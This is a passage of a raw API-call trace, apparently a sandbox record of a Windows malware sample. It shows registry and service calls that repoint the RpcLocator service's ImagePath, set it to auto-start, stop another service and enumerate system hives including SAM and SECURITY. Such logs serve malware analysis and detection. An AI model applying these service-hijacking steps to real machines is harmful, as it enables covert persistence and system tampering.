[0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.403] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.403] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.403] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.403] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0253.403] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0253.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0253.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0253.403] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0253.403] LocalFree (hMem=0x7e4b18) returned 0x0 [0253.403] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0253.403] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x803990 [0253.413] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.415] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.416] RegCloseKey (hKey=0xc4) returned 0x0 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0253.416] RegCloseKey (hKey=0x14c) returned 0x0 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0253.416] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0253.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0253.417] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.417] GetLastError () returned 0x20 [0253.417] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.419] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.419] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.419] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x8038a0 [0253.421] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.421] GetLastError () returned 0x425 [0253.421] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.421] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.421] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0253.421] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.421] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.421] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.422] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.422] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.422] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.422] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.422] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.422] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.422] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.422] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.422] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.422] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.422] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.422] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.422] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.423] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.423] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.423] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.423] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.423] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.424] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.424] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1e38, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.424] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.425] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.425] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.425] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.425] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 